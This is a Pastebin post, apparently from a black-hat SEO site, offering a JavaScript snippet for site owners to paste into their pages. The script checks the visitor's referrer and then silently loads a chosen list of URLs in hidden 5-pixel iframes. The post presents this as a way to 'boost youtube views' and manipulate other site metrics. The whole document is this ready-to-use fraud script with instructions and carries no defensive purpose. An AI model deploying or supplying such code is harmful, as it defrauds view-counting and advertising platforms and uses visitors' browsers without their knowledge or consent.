Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- www.blackhatx.com
- Ok here goes….
- What if you could load as many urls you wanted based on a single request. That would be awesome right – you could boost youtube views, lower your conversion or the like.
- Well I wrote such a script for you guys.
- Only two things you should know is this:
- var rDomains = ["http://www.google.com","http://www.apple.com"];
- This is the collection of urls you want to load silently. Add as many as you want.
- var aDomains = [".com"];
- This is the referrer check. IF you only want the script to work when people are comming from google. Write
- “google.com” in there. You can comma delimit the list if you want.
- example:
- var aDomains = ["google.com","yahoo.com"];
- So here is the main script you simple insert on your HTML-page and the magic happens.
- It’s still a good idea to take care of the referrer on your pages. I will show you a little trick I use next time around.
- Hope you like this.
- <script type="text/javascript">
- var sLocation = document.referrer.toLocaleLowerCase();
- //Links to boost
- var rDomains = ["http://www.google.com","http://www.apple.com"];
- //Allowed domain referrer
- var aDomains = [".com"];
- var valid = 0;
- //Valid referrer
- for (i=0;i<aDomains.length;i++) {
- //Check referrer
- if (sLocation.indexOf(aDomains[i], 0) > -1)
- {
- valid = 1;
- break;
- }
- }
- //Valid referrer
- if (valid == 1)
- {
- //Loop
- for (i=0;i<rDomains.length;i++) {
- //alert(rDomains[i]);
- invisibleWindow("mydiv" + i,rDomains[i]);
- }
- }
- function invisibleWindow(iframeID, url) {
- divel = document.createElement("div");
- divel.id = "div" + iframeID;
- divel.style.width = "5px";
- divel.style.height = "5px";
- divel.style.visibility = "hidden";
- //Add div
- document.body.appendChild(divel);
- domiframe = document.createElement("iframe");
- domiframe.id = iframeID;
- domiframe.src = url;
- domiframe.style.width = "5px";
- domiframe.style.height = "5px";
- domiframe.style.visibility = "hidden";
- var divid = document.getElementById("div" + iframeID);
- divid.appendChild(domiframe);
- }
- </script>
- for more information please visit....
- www.blackhatx.com
Add Comment
Please, Sign In to add comment